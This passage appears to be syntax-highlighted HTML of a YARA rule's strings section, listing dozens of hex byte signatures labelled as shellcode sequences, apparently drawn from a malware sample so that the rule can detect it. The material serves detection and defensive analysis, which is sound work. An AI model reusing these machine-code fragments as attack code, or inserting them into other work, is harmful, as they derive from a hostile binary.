               <span class="nx">$nh_shellcode_sequence_24</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="nx">B4</span> <span class="nx">A3</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">75</span> <span class="nx">F0</span> <span class="mi">56</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="nx">B0</span> <span class="nx">A3</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">45</span> <span class="nx">B8</span> <span class="mi">53</span> <span class="mi">50</span> <span class="nx">E8</span> <span class="nx">C8</span> <span class="mi">09</span> <span class="mi">05</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">E8</span> <span class="mi">83</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_25</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">32</span> <span class="nx">C0</span> <span class="nx">C3</span> <span class="mi">83</span> <span class="mi">79</span> <span class="mi">2</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">75</span> <span class="nx">E7</span> <span class="mi">3</span><span class="nx">C</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">8</span><span class="nx">F</span> <span class="nx">B1</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">84</span> <span class="nx">A2</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">3</span><span class="nx">C</span> <span class="mi">49</span> <span class="mi">74</span> <span class="mi">43</span> <span class="mi">3</span><span class="nx">C</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">74</span> <span class="mi">33</span> <span class="mi">3</span><span class="nx">C</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_27</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">57</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="mi">0</span><span class="nx">C</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">9</span><span class="nx">C</span> <span class="nx">A3</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">F0</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">10</span> <span class="nx">A3</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">7</span><span class="nx">D</span> <span class="mi">08</span> <span class="mi">3</span><span class="nx">B</span> <span class="nx">F0</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">85</span> <span class="mi">96</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">45</span> <span class="mi">08</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_29</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CE</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">70</span> <span class="nx">A6</span> <span class="mi">09</span> <span class="mi">10</span> <span class="nx">FF</span> <span class="nx">D6</span> <span class="mi">5</span><span class="nx">E</span> <span class="nx">C3</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="mi">40</span> <span class="mi">5</span><span class="nx">E</span> <span class="nx">C3</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">FF</span> <span class="mi">55</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">EC</span> <span class="mi">56</span> <span class="mi">68</span> <span class="mi">24</span> <span class="nx">E9</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">68</span> <span class="mi">1</span><span class="nx">C</span> <span class="nx">E9</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_30</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">D0</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">D</span> <span class="nx">E0</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">43</span> <span class="mi">45</span> <span class="nx">D0</span> <span class="mi">66</span> <span class="mi">89</span> <span class="mi">88</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">01</span> <span class="mi">00</span> <span class="nx">EB</span> <span class="mi">0</span><span class="nx">D</span> <span class="mi">2</span><span class="nx">B</span> <span class="mi">7</span><span class="nx">D</span> <span class="nx">E0</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">D0</span> <span class="mi">53</span> <span class="mi">57</span> <span class="nx">E8</span> <span class="nx">D4</span> <span class="mi">9</span><span class="nx">C</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="mi">83</span> <span class="mi">7</span><span class="nx">D</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_31</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">35</span> <span class="mi">50</span> <span class="mi">35</span> <span class="mi">54</span> <span class="mi">35</span> <span class="mi">58</span> <span class="mi">35</span> <span class="mi">5</span><span class="nx">C</span> <span class="mi">35</span> <span class="mi">60</span> <span class="mi">35</span> <span class="mi">64</span> <span class="mi">35</span> <span class="mi">68</span> <span class="mi">35</span> <span class="mi">6</span><span class="nx">C</span> <span class="mi">35</span> <span class="mi">70</span> <span class="mi">35</span> <span class="mi">74</span> <span class="mi">35</span> <span class="mi">78</span> <span class="mi">35</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">35</span> <span class="mi">80</span> <span class="mi">35</span> <span class="mi">84</span> <span class="mi">35</span> <span class="mi">88</span> <span class="mi">35</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_32</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">E</span> <span class="nx">A4</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">4</span><span class="nx">D</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">19</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D0</span> <span class="mi">89</span> <span class="mi">96</span> <span class="nx">A0</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">85</span> <span class="nx">D2</span> <span class="mi">74</span> <span class="mi">36</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">D</span> <span class="nx">B4</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_33</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">83</span> <span class="nx">C4</span> <span class="mi">10</span> <span class="mi">83</span> <span class="nx">F8</span> <span class="nx">FF</span> <span class="mi">74</span> <span class="mi">21</span> <span class="mi">6</span><span class="nx">A</span> <span class="nx">FF</span> <span class="mi">40</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CF</span> <span class="mi">50</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">2</span><span class="nx">C</span> <span class="mi">50</span> <span class="nx">E8</span> <span class="mi">81</span> <span class="nx">FA</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="mi">50</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CF</span> <span class="nx">E8</span> <span class="nx">A3</span> <span class="nx">FB</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_34</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">47</span> <span class="mi">04</span> <span class="mi">33</span> <span class="nx">DB</span> <span class="mi">43</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">08</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">02</span> <span class="mi">88</span> <span class="mi">45</span> <span class="nx">EE</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">B6</span> <span class="nx">C0</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">44</span> <span class="mi">08</span> <span class="mi">04</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">B6</span> <span class="nx">C0</span> <span class="mi">83</span> <span class="nx">F8</span> <span class="mi">11</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">87</span> <span class="mi">73</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_35</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">C3</span> <span class="mi">5</span><span class="nx">B</span> <span class="mi">64</span> <span class="mi">89</span> <span class="mi">0</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">C9</span> <span class="nx">C2</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">55</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">EC</span> <span class="mi">83</span> <span class="nx">EC</span> <span class="mi">2</span><span class="nx">C</span> <span class="mi">53</span> <span class="mi">56</span> <span class="mi">57</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">F9</span> <span class="mi">83</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">08</span> <span class="mi">01</span> <span class="mi">75</span> <span class="mi">51</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">1</span><span class="nx">F</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_37</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">04</span> <span class="nx">FD</span> <span class="nx">FB</span> <span class="nx">FF</span> <span class="mi">85</span> <span class="nx">F6</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">84</span> <span class="nx">FC</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">75</span> <span class="nx">F0</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">7</span><span class="nx">D</span> <span class="nx">EC</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="nx">D8</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">E8</span> <span class="mi">8</span><span class="nx">A</span> <span class="nx">C7</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">B4</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_38</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">E8</span> <span class="nx">A2</span> <span class="nx">CC</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="mi">85</span> <span class="nx">C0</span> <span class="mi">74</span> <span class="mi">7</span><span class="nx">A</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">B3</span> <span class="mi">90</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">9</span><span class="nx">B</span> <span class="mi">94</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">EB</span> <span class="mi">5</span><span class="nx">C</span> <span class="mi">56</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">A0</span> <span class="nx">E8</span> <span class="mi">77</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_39</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">F3</span> <span class="mi">75</span> <span class="nx">F1</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">37</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">47</span> <span class="mi">08</span> <span class="mi">2</span><span class="nx">B</span> <span class="nx">C6</span> <span class="mi">83</span> <span class="nx">E0</span> <span class="nx">E0</span> <span class="mi">50</span> <span class="mi">56</span> <span class="nx">E8</span> <span class="mi">3</span><span class="nx">B</span> <span class="mi">35</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="mi">59</span> <span class="mi">59</span> <span class="mi">5</span><span class="nx">B</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">D</span> <span class="mi">08</span> <span class="nx">C1</span> <span class="nx">E0</span> <span class="mi">05</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_40</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">87</span> <span class="mi">14</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">F4</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">46</span> <span class="mi">14</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">F8</span> <span class="mi">74</span> <span class="mi">0</span><span class="nx">D</span> <span class="mi">3</span><span class="nx">B</span> <span class="mi">41</span> <span class="mi">10</span> <span class="mi">75</span> <span class="mi">08</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">F4</span> <span class="mi">89</span> <span class="mi">41</span> <span class="mi">0</span><span class="nx">C</span> <span class="nx">EB</span> <span class="mi">06</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">F8</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_42</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">FC</span> <span class="mi">09</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">5</span><span class="nx">D</span> <span class="nx">D0</span> <span class="mi">53</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">30</span> <span class="nx">A4</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">43</span> <span class="mi">10</span> <span class="mi">50</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">30</span> <span class="nx">A4</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">43</span> <span class="mi">20</span> <span class="mi">50</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">30</span> <span class="nx">A4</span> <span class="mi">09</span> <span class="mi">10</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_43</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">E0</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">08</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">4</span><span class="nx">F</span> <span class="nx">D8</span> <span class="nx">E8</span> <span class="nx">F1</span> <span class="mi">0</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">0</span><span class="nx">B</span> <span class="nx">C2</span> <span class="mi">59</span> <span class="mi">59</span> <span class="mi">74</span> <span class="mi">5</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">55</span> <span class="nx">E4</span> <span class="mi">4</span><span class="nx">E</span> <span class="mi">89</span> <span class="mi">37</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">B6</span> <span class="mi">06</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">44</span> <span class="mi">08</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_44</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">D0</span> <span class="nx">E8</span> <span class="nx">A5</span> <span class="mi">57</span> <span class="mi">03</span> <span class="mi">00</span> <span class="mi">83</span> <span class="nx">C4</span> <span class="mi">18</span> <span class="mi">39</span> <span class="mi">78</span> <span class="mi">14</span> <span class="mi">72</span> <span class="mi">02</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">00</span> <span class="mi">50</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="nx">EC</span> <span class="nx">E8</span> <span class="nx">BD</span> <span class="nx">A9</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">D0</span> <span class="mi">89</span> <span class="mi">85</span> <span class="mi">6</span><span class="nx">C</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_45</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">55</span> <span class="nx">B4</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="mi">10</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">B0</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="mi">14</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">D0</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">E0</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">AC</span> <span class="mi">83</span> <span class="mi">65</span> <span class="nx">F4</span> <span class="mi">00</span> <span class="mi">83</span> <span class="mi">65</span> <span class="nx">EC</span> <span class="mi">00</span> <span class="mi">83</span> <span class="mi">65</span> <span class="nx">F4</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_46</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">C0</span> <span class="mi">89</span> <span class="mi">55</span> <span class="nx">C4</span> <span class="mi">72</span> <span class="mi">02</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">06</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">C0</span> <span class="mi">51</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">C8</span> <span class="mi">51</span> <span class="mi">52</span> <span class="mi">50</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">48</span> <span class="nx">A1</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">F</span> <span class="nx">A8</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">85</span> <span class="nx">C0</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_47</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">E8</span> <span class="mi">1</span><span class="nx">F</span> <span class="mi">71</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="mi">33</span> <span class="nx">F6</span> <span class="nx">BA</span> <span class="mi">2</span><span class="nx">A</span> <span class="nx">B6</span> <span class="nx">B8</span> <span class="nx">B0</span> <span class="mi">56</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">04</span> <span class="mi">56</span> <span class="mi">51</span> <span class="mi">56</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C8</span> <span class="nx">E8</span> <span class="nx">FF</span> <span class="mi">76</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="mi">59</span> <span class="mi">59</span> <span class="mi">50</span> <span class="mi">56</span> <span class="mi">56</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_48</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">9</span><span class="nx">D</span> <span class="mi">5</span><span class="nx">C</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">13</span> <span class="nx">D2</span> <span class="mi">41</span> <span class="mi">3</span><span class="nx">B</span> <span class="nx">CB</span> <span class="mi">75</span> <span class="nx">E8</span> <span class="mi">85</span> <span class="nx">D2</span> <span class="mi">74</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">83</span> <span class="nx">FB</span> <span class="mi">73</span> <span class="mi">73</span> <span class="mi">16</span> <span class="mi">89</span> <span class="mi">94</span> <span class="mi">9</span><span class="nx">D</span> <span class="mi">60</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">9</span><span class="nx">D</span> <span class="mi">5</span><span class="nx">C</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_50</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="nx">CC</span> <span class="mi">56</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">F1</span> <span class="mi">83</span> <span class="mi">7</span><span class="nx">E</span> <span class="mi">3</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">74</span> <span class="mi">22</span> <span class="mi">83</span> <span class="mi">7</span><span class="nx">E</span> <span class="mi">40</span> <span class="mi">00</span> <span class="mi">74</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">FF</span> <span class="mi">76</span> <span class="mi">3</span><span class="nx">C</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_52</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">3</span><span class="nx">E</span> <span class="mi">83</span> <span class="nx">C4</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">89</span> <span class="mi">75</span> <span class="nx">CC</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">45</span> <span class="nx">CC</span> <span class="mi">89</span> <span class="mi">5</span><span class="nx">D</span> <span class="nx">FC</span> <span class="mi">50</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">47</span> <span class="mi">54</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CF</span> <span class="mi">2</span><span class="nx">B</span> <span class="mi">47</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">50</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">09</span> <span class="nx">E8</span> <span class="mi">63</span> <span class="nx">E2</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_53</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">89</span> <span class="mi">0</span><span class="nx">D</span> <span class="mi">84</span> <span class="mi">51</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">10</span> <span class="mi">89</span> <span class="mi">15</span> <span class="mi">80</span> <span class="mi">51</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">10</span> <span class="mi">89</span> <span class="mi">1</span><span class="nx">D</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">51</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">10</span> <span class="mi">89</span> <span class="mi">35</span> <span class="mi">78</span> <span class="mi">51</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">10</span> <span class="mi">89</span> <span class="mi">3</span><span class="nx">D</span> <span class="mi">74</span> <span class="mi">51</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">10</span> <span class="mi">66</span> <span class="mi">8</span><span class="nx">C</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_55</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">75</span> <span class="nx">EC</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">75</span> <span class="nx">EC</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">46</span> <span class="mi">04</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">E4</span> <span class="nx">EB</span> <span class="mi">03</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">75</span> <span class="nx">EC</span> <span class="mi">3</span><span class="nx">B</span> <span class="nx">F8</span> <span class="mi">74</span> <span class="mi">93</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">E0</span> <span class="mi">2</span><span class="nx">B</span> <span class="nx">C7</span> <span class="mi">89</span> <span class="mi">45</span> <span class="nx">E0</span> <span class="mi">57</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">38</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_56</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">4</span><span class="nx">D</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">1</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">29</span> <span class="mi">4</span><span class="nx">D</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">22</span> <span class="mi">05</span> <span class="mi">93</span> <span class="mi">19</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E4</span> <span class="mi">5</span><span class="nx">E</span> <span class="mi">0</span><span class="nx">B</span> <span class="mi">10</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_57</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">73</span> <span class="mi">0</span><span class="nx">B</span> <span class="mi">10</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_58</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">56</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="mi">08</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">F1</span> <span class="nx">E8</span> <span class="mi">74</span> <span class="mi">82</span> <span class="nx">FC</span> <span class="nx">FF</span> <span class="nx">C7</span> <span class="mi">06</span> <span class="mi">08</span> <span class="nx">C1</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C6</span> <span class="mi">5</span><span class="nx">E</span> <span class="mi">5</span><span class="nx">D</span> <span class="nx">C2</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">55</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">EC</span> <span class="mi">83</span> <span class="nx">EC</span> <span class="mi">10</span> <span class="mi">53</span> <span class="mi">8</span><span class="nx">B</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_59</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">5</span><span class="nx">F</span> <span class="mi">65</span> <span class="mi">72</span> <span class="mi">72</span> <span class="mi">6</span><span class="nx">F</span> <span class="mi">72</span> <span class="mi">40</span> <span class="mi">73</span> <span class="mi">74</span> <span class="mi">64</span> <span class="mi">40</span> <span class="mi">40</span> <span class="mi">00</span> <span class="nx">B0</span> <span class="nx">C7</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">2</span><span class="nx">E</span> <span class="mi">3</span><span class="nx">F</span> <span class="mi">41</span> <span class="mi">56</span> <span class="mi">72</span> <span class="mi">75</span> <span class="mi">6</span><span class="nx">E</span> <span class="mi">74</span> <span class="mi">69</span> <span class="mi">6</span><span class="nx">D</span> <span class="mi">65</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_61</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">00</span> <span class="mi">51</span> <span class="mi">50</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">58</span> <span class="nx">A3</span> <span class="mi">09</span> <span class="mi">10</span> <span class="mi">85</span> <span class="nx">C0</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">84</span> <span class="mi">35</span> <span class="mi">04</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">07</span> <span class="mi">59</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="mi">8</span><span class="nx">D</span> <span class="nx">BD</span> <span class="mi">28</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">F3</span> <span class="nx">AB</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="p">}</span>
